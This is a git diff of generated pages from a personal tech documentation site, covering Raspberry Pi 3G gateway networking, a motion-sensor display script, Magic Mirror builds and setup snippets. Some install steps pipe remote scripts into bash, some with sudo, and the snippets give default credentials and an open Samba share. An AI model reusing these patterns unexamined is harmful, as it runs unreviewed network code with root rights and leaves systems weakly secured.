    Add the following to the end of the config

    INTERFACESv4="eth0"
    +INTERFACESv6="eth0"
    +

    Edit

    nano /etc/dhcp/dhcpd.conf
    +

    Change the following options to (you can choose the name servers you use):

    option domain-name "local";
    +option domain-name-servers 8.8.8.8;
    +default-lease-time 600;
    +max-lease-time 7200;
    +ddns-update-style none;
    +authoritative;
    +

    Append the DHCP Network config to the end of the file (Change for your need):

    subnet 192.168.20.0 netmask 255.255.255.0 {
    +  range 192.168.20.5 192.168.20.30;
    +  option routers 192.168.20.1;
    +  option domain-name-servers 8.8.8.8, 8.8.4.4;
    +}
    +

    Save & Exit

    run

    echo 1 > /proc/sys/net/ipv4/ip_forward
    +

    Edit

    nano /etc/sysctl.conf
    +

    Change the following option

    net.ipv4.ip_forward=1
    +

    Restart and Test

    service isc-dhcp-server restart
    +service isc-dhcp-server status
    +

    Configure static ip for the th0 Interface & DHCP

    edit:

    /etc/netplan/50-cloud-init.yaml
    +
    network:
    +  ethernets:
    +      eth0:
    +            addresses: [192.168.20.1/24]
    +            gateway4: 192.168.20.1
    +            nameservers:
    +                    addresses: [1.1.1.1, 8.8.8.8]
    +  version: 2
    +

    After reboot you should connet to the new static ip

    Lets route all the trafic to new interface with Iptables

    iptables -F
    +iptables --table nat --append POSTROUTING --out-interface ppp0 -j MASQUERADE
    +iptables --append FORWARD --in-interface eth0 -j ACCEPT
    +

    Save the rules

    iptables-save > /etc/iptables/rules.v4
    +ip6tables-save > /etc/iptables/rules.v6
    +

    Cron examples

    @reboot sleep 20 && /usr/bin/sakis3gConnect.sh
    +*/5 * * * * /usr/bin/sakis3gConnect.sh
    +

    Comments

    \ No newline at end of file diff --git a/raspberry-pi/motion-sensor-display-control/index.html b/raspberry-pi/motion-sensor-display-control/index.html new file mode 100644 index 000000000..ada33acc1 --- /dev/null +++ b/raspberry-pi/motion-sensor-display-control/index.html @@ -0,0 +1,177 @@ + Motion Sensor Display Control - 3os

    Support us

    Authors: fire1ce | Created: 2022-04-24 | Last update: 2022-07-13

    Motion Sensor Display Control

    Python script to control connected display to Raspberry Pi using Motion Sensor (pir).

    Official Github Repo

    Information

    This script uses pin GPIO4(7) to read data from Motion (PIR) Sensor, Any 5v and ground for PIR Sensor

    gpio layout

    raspberrypi-with-PIR-sensor

    Requirements

    • python3-gpiozero

    Can be install via apt

    sudo apt install python3-gpiozero
    +

    Install

    This will install the script as service and it will run at boot

    curl https://raw.githubusercontent.com/fire1ce/raspberry-pi-pir-motion-display-control/main/install.sh | bash
    +

    Uninstall

    curl https://raw.githubusercontent.com/fire1ce/raspberry-pi-pir-motion-display-control/main/uninstall.sh | bash
    +

    Default Behavior

    Condition Behavior
    Motion while display is off Turns on display for 60 sec
    Motion while display is on Resets the timer for another 60 sec
    No motion > 60 sec Turns off the display

    Config

    File

    /usr/local/bin/motion-display-control.py
    +

    You can change Data Pin of the PIR Sensor at gpio_pin value You can change Delay at display_delay value

    Line

    motion = Motion(gpio_pin=4, display_delay=60, verbose=False)
    +

    Restart the service to apply changes

    sudo systemctl restart power_button.service
    +

    Debug

    In order to allow verbose debug change the following

    File

    /usr/local/bin/motion-display-control.py
    +

    Line

    Set verbose value to True

    motion = Motion(gpio_pin=4, display_delay=60, verbose=True)
    +

    Restart the service to apply changes

    sudo systemctl restart motion-display-control.service
    +

    Check if service is running

    sudo systemctl status motion-display-control.service
    +

    Contributors

    Thanks to Boris Berman for the script rewrite from function to classes

    Comments

    \ No newline at end of file diff --git a/raspberry-pi/projects/magic-mirror-v2/index.html b/raspberry-pi/projects/magic-mirror-v2/index.html new file mode 100644 index 000000000..ed78eb0fc --- /dev/null +++ b/raspberry-pi/projects/magic-mirror-v2/index.html @@ -0,0 +1,199 @@ + Magic Mirror 2.0 - 3os

    Support us

    Authors: fire1ce | Created: 2022-04-24 | Last update: 2022-07-13

    Magic Mirror 2.0

    Magic Mirror Final

    To be honest, it's not my first time building a Magic Mirror project. My first magicmirror can be found here. The Magic Mirror 2.0 is based on Raspberry Pi 4 with Docker Container.

    References

    magicmirror.builders official website.
    khassel's magicmirror docker image documentation website.

    The Build Process

    I had dead iMac 2011 27" with 2k display. I've managed to use it's LCD panel with this product from AliExpress. It actually a full controller for the specific LCD panel, including the inverter for backlight. Basically, it's a full-fledged LCD Monitor with HDMI we need for the Raspberry Pi 4.

    I've decided to test the controller for the LCD Panel inside the original iMac's body.

    LCD Controller

    I've connected raspberry to the new monitor for the magicmirror testing and configuration.

    iMac Raspberry P

    Since my previous experience with my first magicmirror build, I've decided to add a Motion Sensor to the Raspberry Pi to detect the movement of the person infront of the mirror and turn the display on/off accordingly.
    The second thing i've added is a Power Button to turn the Raspberry Pi on, off and restart it without a physical access to the Raspberry Pi.

    I couldn't find any open source projects for the functionality I needed of the power button and the Motion Sensor. So I've decided to create my own solution. Bellow are the scripts that I've created:

    Thats how i've tested the functionality of the power button and the motion sensor.

    PIR Button Test

    I've order a reflective glass with 4 holes for mounting. It was a challenge to find a suitable reflective glass for the MagicMirror. The product I've found is not perfect - the glass is tinted, but it's a good enough solution and way better then Glass Mirror Films I've used on my first Magic Mirror Project.

    Row Glass

    After I've done all the proof of concepts that every thing will work as i intended, I've continue to build the frame to house all the components.

    I've used scrap wood I had laying around to build the frame and the mounting for the LCD panel, and the glass

    Wood Frame

    For mounting the Magic Mirror to the wall i've used the smallest TV Mount I've found.

    Frame TV Mount

    After the frame is built, I've added the electronics to the frame.

    Frame Electronics

    Performing senity check on the electronics, and display assembly.

    Frame Screen Test

    Since I when on the floating effect the glass isn't covering the all the frame, all the exposed parts of the glass are needed to be covered to avoid light leaking.

    Glass Cover

    And the final Magic Mirror on the wall.

    Magic Mirror Final Side

    Magic Mirror Final

    The Software

    The magicmiror is based on MagicMirror project. running on docker on Raspberry OS.

    Below the docker compose file for your reference.

    version: '3'
    +
    +services:
    +  magicmirror:
    +    image: karsten13/magicmirror
    +    container_name: magicmirror
    +    hostname: magicmirror
    +    restart: always
    +    ports:
    +      - 80:8080
    +    volumes:
    +      - ./config:/opt/magic_mirror/config
    +      - ./modules:/opt/magic_mirror/modules
    +      - ./css:/opt/magic_mirror/css
    +      - /tmp/.X11-unix:/tmp/.X11-unix
    +      - /opt/vc:/opt/vc/:ro
    +      - /sys:/sys
    +      - /usr/bin/vcgencmd:/usr/bin/vcgencmd
    +      - /etc/localtime:/etc/localtime
    +    devices:
    +      - /dev/vchiq
    +    environment:
    +      - LD_LIBRARY_PATH=/opt/vc/lib
    +      - DISPLAY=unix:0.0
    +      - TZ=Asia/Jerusalem
    +      - SET_CONTAINER_TIMEZONE=true
    +      - CONTAINER_TIMEZONE=Asia/Jerusalem
    +    shm_size: '1024mb'
    +    command:
    +      - npm
    +      - run
    +      - start
    +

    Comments

    \ No newline at end of file diff --git a/raspberry-pi/projects/magic-mirror/index.html b/raspberry-pi/projects/magic-mirror/index.html new file mode 100644 index 000000000..2d58bb4a7 --- /dev/null +++ b/raspberry-pi/projects/magic-mirror/index.html @@ -0,0 +1,211 @@ + Magic Mirror - 3os

    Support us

    Authors: fire1ce | Created: 2021-08-27 | Last update: 2022-08-06

    Magic Mirror

    MagicMirror

    Magic Mirror Build Pictures

    23" Samsung screen power resoldering:

    MagicMirror

    Wooden frame initial fitting test on a glass with duel mirror film applied:

    MagicMirror

    Testing the screen installation (frame removed) with power cords:

    MagicMirror

    Testing black&white picture from a laptop after frame assembly:

    MagicMirror

    Power, Lan, Usb external ports cutouts:

    MagicMirror

    Fitted extended ports with wood filler:

    MagicMirror

    Extended ports:

    MagicMirror

    Assembly With screen, Raspberry Pi, cable routing, black material which do not pass light where there is no screen:

    MagicMirror

    Adding some color for the frame:

    MagicMirror

    Testing everything is working as it should be:

    MagicMirror

    Full assembly behind the mirror:

    MagicMirror

    Final Product:

    MagicMirror

    Configuration Setup

    Change Display Rotation

    sudo nano /boot/config.txt
    +

    Add one of those according to your setup to the config file:

    Code Description
    display_rotate=0 Normal
    display_rotate=1 90 degrees
    display_rotate=2 180 degrees
    display_rotate=3 270 degrees
    display_rotate=0x8000 horizontal flip
    display_rotate=0x20000 vertical flip

    NOTE: You can rotate both the image and touch interface 180º by entering lcd_rotate=2 instead

    Disabling the Screensaver

    Change to OPEN GL Driver

    sudo nano /boot/config.txt
    +

    add this:

    dtoverlay=vc4-fkms-v3d
    +

    (Please note, you will need the x11-xserver-utils package installed.)

    edit ~/.config/lxsession/LXDE-pi/autostart:

    sudo nano ~/.config/lxsession/LXDE-pi/autostart
    +

    Add the following lines:

    @xset s noblank
    +@xset s off
    +@xset -dpms
    +

    Edit /etc/lightdm/lightdm.conf:

    sudo nano /etc/lightdm/lightdm.conf
    +

    Add the following line below [SeatDefaults]

    xserver-command=X -s 0 -dpms
    +

    OS UI Finishes

    Make the Background Black:

    Right click the Desktop -> Desktop Preferences and Change: Layout -> no image Colour -> #000000

    Hit ok.

    Right click on the top panel -> Panel Preferences -> Appearance

    Select Solid Color (With Opacity) make sure Opacity at 0

    Disable WiFi Power Save

    Edit /etc/modprobe.d/8192cu.conf

    sudo nano /etc/modprobe.d/8192cu.conf
    +

    Add the following lines

    # Disable power saving
    +options 8192cu rtw_power_mgnt=0 rtw_enusbss=1 rtw_ips_mode=1
    +

    For Raspberry Pi 3 Edit /etc/network/interfaces

    sudo nano /etc/network/interfaces
    +

    Add the following line under the wlan0 section

    allow-hotplug wlan0
    +iface wlan0 inet manual
    +wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf
    +wireless-power off
    +

    Reboot your PI

    sudo reboot
    +

    Disable Cursor on Startup

    sudo apt-get install unclutter
    +

    Installation

    first install node.js and npm

    curl -sL https://deb.nodesource.com/setup_10.x | sudo -E bash -
    +sudo apt-get install -y nodejs
    +

    and then run:

    sudo npm install -g npm@latest
    +

    If you need to remove node and npm run this:

    sudo apt-get remove nodejs nodejs-legacy nodered
    +

    Installation:

    magicmirror-installation

    say no to PM2 auto start - will be install manually

    To Start from SSH:

    cd ~/MagicMirror && DISPLAY=:0 npm start
    +

    pm2 auto start installation

    sudo npm install -g pm2
    +cd ~
    +nano mm.sh
    +

    add this to mm.sh and save:

    #!/bin/sh
    +
    +cd ~/MagicMirror
    +DISPLAY=:0 npm start
    +
    chmod +x mm.sh
    +pm2 start mm.sh
    +pm2 save
    +pm2 startup
    +

    pm2 commands:

    pm2 restart mm
    +pm2 stop mm
    +pm2 start mm
    +pm2 log
    +pm2 show mm
    +

    Logrotate Installation

    This will Retain for 14 days compress the logs.

    pm2 install pm2-logrotate
    +pm2 set pm2-logrotate:compress true
    +pm2 set pm2-logrotate:retain 14
    +pm2 set pm2-logrotate:max_size 10M
    +

    Comments

    \ No newline at end of file diff --git a/raspberry-pi/snippets/index.html b/raspberry-pi/snippets/index.html new file mode 100644 index 000000000..b0026d518 --- /dev/null +++ b/raspberry-pi/snippets/index.html @@ -0,0 +1,196 @@ + Snippets - 3os

    Support us

    Authors: fire1ce, Stas Yakobov | Created: 2021-08-27 | Last update: 2023-01-18

    Snippets

    Enable SSH on Raspberry Pi Without a Screen

    Put the micro SD card into your computer You'll have to locate the boot directory at your SD card

    for example:

    cd /Volumes/boot
    +

    All you have to do is create an empty file called ssh.

    touch ssh
    +

    That's it. Insert the SD card to the Pi.
    You should have enabled SSH at boot.

    Default User and Password After Installation

    User: pi
    +Password: raspberry
    +

    Basic Configuration

    sudo raspi-config
    +

    Update OS

    sudo apt-get update && sudo apt-get upgrade -y
    +

    Disable IPv6 on Raspberry Pi Os

    Edit “/etc/sysctl.confâ€:

    sudo nano /etc/sysctl.conf
    +

    Add this to the end:

    net.ipv6.conf.all.disable_ipv6=1
    +net.ipv6.conf.default.disable_ipv6=1
    +net.ipv6.conf.lo.disable_ipv6=1
    +net.ipv6.conf.eth0.disable_ipv6 = 1
    +

    Save and close the file. Edit “/etc/rc.localâ€:

    sudo nano /etc/rc.local
    +

    Add this to the end (but before “exit 0â€):

    systemctl restart procps
    +

    Save and close the file. Reboot

    Show Raspberry Temperature

    /opt/vc/bin/vcgencmd measure_temp
    +

    Samba for RaspberryPi

    sudo apt-get update
    +sudo apt-get install -y samba samba-common-bin smbclient cifs-utils
    +sudo smbpasswd -a pi ( my-pi-samba-remote-password )
    +sudo nano /etc/samba/smb.conf
    +

    change:

    workgroup = YOUR WINDOWS WORKGROUP NAME
    +

    add at end:

    [share]
    +    path = /home/pi/Desktop/share
    +    available = yes
    +    valid users = pi
    +    read only = no
    +    browsable = yes
    +    public = yes
    +    writable = yes
    +

    the shared path must exist: ( if you work via desktop ( HDMI or VNC ) it is very convenient just to read or drop from/to this shared dir ) mkdir /home/pi/Desktop/share

    sudo reboot
    +

    Start samba Server

    sudo /usr/sbin/service smbd start
    +

    Comments

    \ No newline at end of file diff --git a/robots.txt b/robots.txt new file mode 100644 index 000000000..3fa14834b --- /dev/null +++ b/robots.txt @@ -0,0 +1,4 @@ +User-agent: * +Allow: / + +Sitemap: https://3os.org/sitemap.xml diff --git a/search/search_index.json b/search/search_index.json new file mode 100644 index 000000000..c5e25919b --- /dev/null +++ b/search/search_index.json @@ -0,0 +1 @@ +{"config": {"lang": ["en"], "separator": "[\\s\\-]+", "pipeline": ["stopWordFilter"]}, "docs": [{"location": "tags/", "title": "Tags and Categories", "text": ""}, {"location": "tags/#3g-modem", "title": "3g-modem", "text": "
    • 3g Modem Host Configuration
    "}, {"location": "tags/#cookies", "title": "Cookies", "text": "
    • Cookies Policy
    "}, {"location": "tags/#git", "title": "Git", "text": "
    • Windows SSH with ed25519 Keys
    "}, {"location": "tags/#homelab", "title": "HomeLab", "text": "
    • Synology NAS
    "}, {"location": "tags/#iid", "title": "IID", "text": "
    • IID Generator & Validator
    "}, {"location": "tags/#nas", "title": "NAS", "text": "
    • Synology NAS
    • Free 80,443 Ports
    "}, {"location": "tags/#openssh", "title": "OpenSSH", "text": "
    • Windows SSH with ed25519 Keys
    "}, {"location": "tags/#proxmox", "title": "Proxmox", "text": "
    • Windows VM Configuration
    "}, {"location": "tags/#ssh", "title": "SSH", "text": "
    • Windows SSH with ed25519 Keys
    "}, {"location": "tags/#security", "title": "Security", "text": "
    • Windows SSH with ed25519 Keys
    "}, {"location": "tags/#synology", "title": "Synology", "text": "
    • Synology NAS
    "}, {"location": "tags/#tweeks", "title": "Tweeks", "text": "
    • Windwos 10/11 Tweeks
    "}, {"location": "tags/#ubuntu", "title": "Ubuntu", "text": "
    • Free Port 53 on Ubuntu
    "}, {"location": "tags/#virtio", "title": "VirtIO", "text": "
    • Windows VM Configuration
    "}, {"location": "tags/#windows", "title": "Windows", "text": "
    • Windows SSH with ed25519 Keys
    "}, {"location": "tags/#windows-virtual-machines", "title": "Windows Virtual Machines", "text": "
    • Windows VM Configuration
    "}, {"location": "tags/#windwos", "title": "Windwos", "text": "
    • Windwos 10/11 Tweeks
    "}, {"location": "tags/#adb", "title": "adb", "text": "
    • ADB Cheat Sheet
    "}, {"location": "tags/#admonition", "title": "admonition", "text": "
    • Admonitions
    "}, {"location": "tags/#affiliate", "title": "affiliate", "text": "
    • Affiliate Disclosure
    "}, {"location": "tags/#android", "title": "android", "text": "
    • ADB Cheat Sheet
    • Apktool
    • PT Application
    • JADX Decompiler
    • MobSF
    • SSL Pinning Bypass
    "}, {"location": "tags/#apktool", "title": "apktool", "text": "
    • Apktool
    "}, {"location": "tags/#application", "title": "application", "text": "
    • PT Application
    "}, {"location": "tags/#autofs", "title": "autofs", "text": "
    • SMB Mount With autofs
    "}, {"location": "tags/#automation", "title": "automation", "text": "
    • DDNS Cloudflare Bash
    • DDNS Cloudflare PowerShell
    • Syncthing
    • Motion Sensor Display Control
    "}, {"location": "tags/#bash", "title": "bash", "text": "
    • DDNS Cloudflare Bash
    • BrewUp
    "}, {"location": "tags/#cheat-sheet", "title": "cheat-sheet", "text": "
    • ADB Cheat Sheet
    • Npm Command-line Utility
    • PM2 - Node.js Process Manager
    • Pip Package Manager
    • Supervisor Process Manager
    • Virtual Environment
    • Ruby Gem Package Manager
    • Common Docker Commands
    • Containers Cheat Sheet
    • Images Cheat Sheet
    • Docker Installation
    • Networks & Links Cheat Sheet
    • Security & Best Practices
    • Git Cli Cheat Sheet
    • Submodules Cheat Sheet
    • GitHub Cli
    "}, {"location": "tags/#cheatsheet", "title": "cheatsheet", "text": "
    • Gobuster CheatSheet
    • Nmap CheatSheet
    • XSS CheatSheet
    "}, {"location": "tags/#chrome", "title": "chrome", "text": "
    • Chrome Extensions
    "}, {"location": "tags/#cli", "title": "cli", "text": "
    • Cli Commands Collation
    "}, {"location": "tags/#clickjacking", "title": "clickjacking", "text": "
    • Clickjacking Test Page
    "}, {"location": "tags/#cloudflare", "title": "cloudflare", "text": "
    • DDNS Cloudflare Bash
    • DDNS Cloudflare PowerShell
    • Pi-hole Cloudflare DNS Sync
    • Let's Encrypt with Cloudflare
    • UDM Cloudflare DDNS
    "}, {"location": "tags/#code-blocks", "title": "code-blocks", "text": "
    • Code Blocks
    "}, {"location": "tags/#collation", "title": "collation", "text": "
    • Cli Commands Collation
    "}, {"location": "tags/#commands", "title": "commands", "text": "
    • Cli Commands Collation
    "}, {"location": "tags/#container", "title": "container", "text": "
    • Watchtower
    "}, {"location": "tags/#content-tabs", "title": "content-tabs", "text": "
    • Content Tabs
    "}, {"location": "tags/#ddns", "title": "ddns", "text": "
    • DDNS Cloudflare Bash
    • DDNS Cloudflare PowerShell
    "}, {"location": "tags/#debian", "title": "debian", "text": "
    • Disable IPv6 via Grub
    "}, {"location": "tags/#decompiler", "title": "decompiler", "text": "
    • JADX Decompiler
    "}, {"location": "tags/#diagram", "title": "diagram", "text": "
    • Diagrams
    "}, {"location": "tags/#dns", "title": "dns", "text": "
    • Pi-hole Cloudflare DNS Sync
    • Pi-hole with DOH on Docker
    • Free Port 53 on Ubuntu
    "}, {"location": "tags/#dns-over-https", "title": "dns-over-https", "text": "
    • Pi-hole with DOH on Docker
    "}, {"location": "tags/#docker", "title": "docker", "text": "
    • Pi-hole Cloudflare DNS Sync
    • Pi-hole with DOH on Docker
    • Common Docker Commands
    • Containers Cheat Sheet
    • Images Cheat Sheet
    • Docker Installation
    • Networks & Links Cheat Sheet
    • Security & Best Practices
    • Watchtower
    • Docker on Raspberry Pi
    "}, {"location": "tags/#docker-compose", "title": "docker-compose", "text": "
    • Docker on Raspberry Pi
    "}, {"location": "tags/#doh", "title": "doh", "text": "
    • Pi-hole with DOH on Docker
    "}, {"location": "tags/#dsm", "title": "dsm", "text": "
    • SSH With RSA Keys
    "}, {"location": "tags/#ed25519", "title": "ed25519", "text": "
    • Windows SSH with ed25519 Keys
    "}, {"location": "tags/#edgerouter", "title": "edgerouter", "text": "
    • EdgeRouter
    "}, {"location": "tags/#emojis", "title": "emojis", "text": "
    • Icons & Emojis
    "}, {"location": "tags/#endorsements", "title": "endorsements", "text": "
    • Website Endorsements
    "}, {"location": "tags/#extensions", "title": "extensions", "text": "
    • Chrome Extensions
    • Firefox Extensions
    "}, {"location": "tags/#external-markdown", "title": "external-markdown", "text": "
    • Embed External Markdown
    "}, {"location": "tags/#files-handling", "title": "files-handling", "text": "
    • Files Handling
    "}, {"location": "tags/#firefox", "title": "firefox", "text": "
    • Firefox Extensions
    "}, {"location": "tags/#frida", "title": "frida", "text": "
    • SSL Pinning Bypass
    "}, {"location": "tags/#gem", "title": "gem", "text": "
    • Ruby Gem Package Manager
    "}, {"location": "tags/#git_1", "title": "git", "text": "
    • Git Cli Cheat Sheet
    • GitHub Cli
    "}, {"location": "tags/#github", "title": "github", "text": "
    • Removing Sensitive Data
    • Git Cli Cheat Sheet
    • Submodules Cheat Sheet
    • GitHub Cli
    • BrewUp
    "}, {"location": "tags/#gpu", "title": "gpu", "text": "
    • GPU Passthrough to VM
    "}, {"location": "tags/#headings", "title": "headings", "text": "
    • Basic Formatting
    "}, {"location": "tags/#history", "title": "history", "text": "
    • Removing Sensitive Data
    "}, {"location": "tags/#homebrew", "title": "homebrew", "text": "
    • BrewUp
    • Brew Snippets
    "}, {"location": "tags/#horizontal-line", "title": "horizontal-line", "text": "
    • Basic Formatting
    "}, {"location": "tags/#htpasswd", "title": "htpasswd", "text": "
    • htpasswd Password Generator
    "}, {"location": "tags/#iterm2", "title": "iTerm2", "text": "
    • TouchID for sudo
    "}, {"location": "tags/#icons", "title": "icons", "text": "
    • Icons & Emojis
    "}, {"location": "tags/#igpu", "title": "igpu", "text": "
    • iGPU Passthrough to VM
    • iGPU Split Passthrough
    "}, {"location": "tags/#images", "title": "images", "text": "
    • Images
    "}, {"location": "tags/#information", "title": "information", "text": "
    • Affiliate Disclosure
    • Cookies Policy
    • Website Endorsements
    • MIT License
    • Privacy Policy
    "}, {"location": "tags/#ipv6", "title": "ipv6", "text": "
    • Disable IPv6 on Proxmox
    • Disable IPv6 via Grub
    "}, {"location": "tags/#java", "title": "java", "text": "
    • JADX Decompiler
    "}, {"location": "tags/#kali", "title": "kali", "text": "
    • Kali Linux
    "}, {"location": "tags/#kali-linux", "title": "kali-linux", "text": "
    • Kali Linux
    "}, {"location": "tags/#letsencrypt", "title": "letsencrypt", "text": "
    • Let's Encrypt with Cloudflare
    "}, {"location": "tags/#license", "title": "license", "text": "
    • MIT License
    "}, {"location": "tags/#links", "title": "links", "text": "
    • Links
    "}, {"location": "tags/#linux", "title": "linux", "text": "
    • Syncthing
    • Better Terminal Experience
    • Files Handling
    • General Snippets
    • Locales & Timezone
    • LVM Partitions
    • Memory & Swap
    • SSH Hardening with SSH Keys
    • Identify Network Interfaces
    "}, {"location": "tags/#lists", "title": "lists", "text": "
    • Tables, Lists and Quotes
    "}, {"location": "tags/#locales", "title": "locales", "text": "
    • Locales & Timezone
    "}, {"location": "tags/#lvm", "title": "lvm", "text": "
    • LVM Partitions
    "}, {"location": "tags/#macos", "title": "macOS", "text": "
    • Applications Tweaks
    • Enable Root User
    • TouchID for sudo
    • UI Tweaks
    • Brew Snippets
    "}, {"location": "tags/#maco", "title": "maco", "text": "
    • Pyenv-virtualenv Multi Version
    "}, {"location": "tags/#macos_1", "title": "macos", "text": "
    • Syncthing
    • Better Terminal Experience
    • SSH Passphrase to Keychain
    • Terminal Snippets
    • BrewUp
    "}, {"location": "tags/#magic-mirror", "title": "magic-mirror", "text": "
    • Magic Mirror
    "}, {"location": "tags/#magicmirror", "title": "magicmirror", "text": "
    • Magic Mirror 2.0
    "}, {"location": "tags/#markdown", "title": "markdown", "text": "
    • Disable IPV6
    • oh-my-zsh Install
    • Snippets
    • Awesome Pages Plugin
    "}, {"location": "tags/#markdown-cheatsheet", "title": "markdown-cheatsheet", "text": "
    • About Markdown
    • Admonitions
    • Basic Formatting
    • Code Blocks
    • Content Tabs
    • Diagrams
    • Embed External Markdown
    • Icons & Emojis
    • Images
    • Links
    • Tables, Lists and Quotes
    "}, {"location": "tags/#mermaid", "title": "mermaid", "text": "
    • Diagrams
    "}, {"location": "tags/#metasploit", "title": "metasploit", "text": "
    • Metasploit Framework
    "}, {"location": "tags/#mkdocs", "title": "mkdocs", "text": "
    • About Markdown
    • Admonitions
    • Basic Formatting
    • Code Blocks
    • Content Tabs
    • Diagrams
    • Embed External Markdown
    • Icons & Emojis
    • Images
    • Links
    • Tables, Lists and Quotes
    "}, {"location": "tags/#motion-sensor", "title": "motion-sensor", "text": "
    • Motion Sensor Display Control
    "}, {"location": "tags/#mount", "title": "mount", "text": "
    • SMB Mount With autofs
    "}, {"location": "tags/#network", "title": "network", "text": "
    • Proxmox Networking
    • Identify Network Interfaces
    • Declare Locations as \"Inside Your Local Network\"
    "}, {"location": "tags/#node", "title": "node", "text": "
    • Npm Command-line Utility
    • PM2 - Node.js Process Manager
    "}, {"location": "tags/#npm", "title": "npm", "text": "
    • Npm Command-line Utility
    • PM2 - Node.js Process Manager
    "}, {"location": "tags/#oh-my-zsh", "title": "oh-my-zsh", "text": "
    • Better Terminal Experience
    • oh-my-zsh on Synology NAS
    "}, {"location": "tags/#package-manager", "title": "package-manager", "text": "
    • Pip Package Manager
    • Ruby Gem Package Manager
    "}, {"location": "tags/#passthrough", "title": "passthrough", "text": "
    • GPU Passthrough to VM
    • iGPU Passthrough to VM
    • iGPU Split Passthrough
    • vGPU Split Passthrough
    "}, {"location": "tags/#penetration-testing", "title": "penetration-testing", "text": "
    • Apktool
    • PT Application
    • MobSF
    • Cli Commands Collation
    • Gobuster CheatSheet
    • Nmap CheatSheet
    • XSS CheatSheet
    • Bettercap 1.6.2 Installation
    • Kali Linux
    "}, {"location": "tags/#pi-hole", "title": "pi-hole", "text": "
    • Pi-hole Cloudflare DNS Sync
    • Pi-hole with DOH on Docker
    "}, {"location": "tags/#pip", "title": "pip", "text": "
    • Pip Package Manager
    "}, {"location": "tags/#pm2", "title": "pm2", "text": "
    • PM2 - Node.js Process Manager
    "}, {"location": "tags/#portfolio", "title": "portfolio", "text": "
    • Stas Yakobov's Portfolio
    "}, {"location": "tags/#ports", "title": "ports", "text": "
    • Free 80,443 Ports
    "}, {"location": "tags/#powershell", "title": "powershell", "text": "
    • DDNS Cloudflare PowerShell
    • Windows SSH Server
    "}, {"location": "tags/#privacy-policy", "title": "privacy policy", "text": "
    • Privacy Policy
    "}, {"location": "tags/#process-manager", "title": "process-manager", "text": "
    • PM2 - Node.js Process Manager
    "}, {"location": "tags/#processes-manager", "title": "processes-manager", "text": "
    • Supervisor Process Manager
    "}, {"location": "tags/#proxmox_1", "title": "proxmox", "text": "
    • Cloud Image Template
    • Let's Encrypt with Cloudflare
    • PVE Kernel Cleaner
    • VM Disk Expander
    • GPU Passthrough to VM
    • iGPU Passthrough to VM
    • iGPU Split Passthrough
    • vGPU Split Passthrough
    • Disable IPv6 on Proxmox
    • Proxmox Networking
    "}, {"location": "tags/#pt", "title": "pt", "text": "
    • Cli Commands Collation
    • Links and Tools
    • Metasploit Framework
    • Wifite
    • About Proxmark3
    • Proxmark3 CheatSheet
    • Mifare Classic 1K ISO14443A
    • Clickjacking Test Page
    • IID Generator & Validator
    "}, {"location": "tags/#python", "title": "python", "text": "
    • Pip Package Manager
    • Supervisor Process Manager
    • Virtual Environment
    • Pyenv-virtualenv Multi Version
    "}, {"location": "tags/#quotes", "title": "quotes", "text": "
    • Tables, Lists and Quotes
    "}, {"location": "tags/#raspberry-pi", "title": "raspberry-pi", "text": "
    • Docker on Raspberry Pi
    • External Power Button
    • Motion Sensor Display Control
    • Snippets
    • 3g Modem Host Configuration
    • Magic Mirror 2.0
    • Magic Mirror
    "}, {"location": "tags/#resume", "title": "resume", "text": "
    • Stas Yakobov's Portfolio
    "}, {"location": "tags/#reverse-engineering", "title": "reverse-engineering", "text": "
    • Apktool
    "}, {"location": "tags/#rfid", "title": "rfid", "text": "
    • About Proxmark3
    • Proxmark3 CheatSheet
    • Mifare Classic 1K ISO14443A
    "}, {"location": "tags/#rsa", "title": "rsa", "text": "
    • SSH Hardening with SSH Keys
    "}, {"location": "tags/#rsa-keys", "title": "rsa-keys", "text": "
    • SSH With RSA Keys
    • Windows SSH Server
    "}, {"location": "tags/#ruby", "title": "ruby", "text": "
    • Ruby Gem Package Manager
    "}, {"location": "tags/#security_1", "title": "security", "text": "
    • Removing Sensitive Data
    "}, {"location": "tags/#servers", "title": "servers", "text": "
    • Windows Servers
    "}, {"location": "tags/#share", "title": "share", "text": "
    • SMB Mount With autofs
    "}, {"location": "tags/#smb", "title": "smb", "text": "
    • SMB Mount With autofs
    "}, {"location": "tags/#snippets", "title": "snippets", "text": "
    • General Snippets
    "}, {"location": "tags/#ssh_1", "title": "ssh", "text": "
    • Enable SSH Root Login
    • SSH With RSA Keys
    • SSH Hardening with SSH Keys
    "}, {"location": "tags/#ssh-server", "title": "ssh-server", "text": "
    • Windows SSH Server
    "}, {"location": "tags/#ssl-pinning", "title": "ssl-pinning", "text": "
    • SSL Pinning Bypass
    "}, {"location": "tags/#submodules", "title": "submodules", "text": "
    • Submodules Cheat Sheet
    "}, {"location": "tags/#supervisor", "title": "supervisor", "text": "
    • Supervisor Process Manager
    "}, {"location": "tags/#syncthing", "title": "syncthing", "text": "
    • Syncthing
    "}, {"location": "tags/#synology_1", "title": "synology", "text": "
    • Syncthing
    • oh-my-zsh on Synology NAS
    • Install VM Tools on Virtual Machine
    • Auto DSM Config Backup
    • Free 80,443 Ports
    • Enable SSH Root Login
    • SSH With RSA Keys
    "}, {"location": "tags/#tables", "title": "tables", "text": "
    • Tables, Lists and Quotes
    "}, {"location": "tags/#template", "title": "template", "text": "
    • Disable IPV6
    • oh-my-zsh Install
    • Snippets
    • Awesome Pages Plugin
    "}, {"location": "tags/#terminal", "title": "terminal", "text": "
    • Better Terminal Experience
    • TouchID for sudo
    "}, {"location": "tags/#text-highlighting", "title": "text-highlighting", "text": "
    • Basic Formatting
    "}, {"location": "tags/#timezone", "title": "timezone", "text": "
    • Locales & Timezone
    "}, {"location": "tags/#tools", "title": "tools", "text": "
    • Gobuster CheatSheet
    • Nmap CheatSheet
    • XSS CheatSheet
    • Bettercap 1.6.2 Installation
    • Links and Tools
    • Metasploit Framework
    • Wifite
    • About Proxmark3
    • Proxmark3 CheatSheet
    • Mifare Classic 1K ISO14443A
    • Clickjacking Test Page
    • IID Generator & Validator
    "}, {"location": "tags/#touchid", "title": "touchID", "text": "
    • TouchID for sudo
    "}, {"location": "tags/#ubiquiti", "title": "ubiquiti", "text": "
    • EdgeRouter
    • CLI Commands
    • Failover Telegram Notifications
    • Persistent Boot Script
    • Persistent SSH Keys
    • Better Fan Speeds
    • UDM Cloudflare DDNS
    • Wireguard VPN
    "}, {"location": "tags/#ubuntu_1", "title": "ubuntu", "text": "
    • Disable IPv6 via Grub
    • Remove Snap Store
    • Unattended Upgrades
    "}, {"location": "tags/#udm", "title": "udm", "text": "
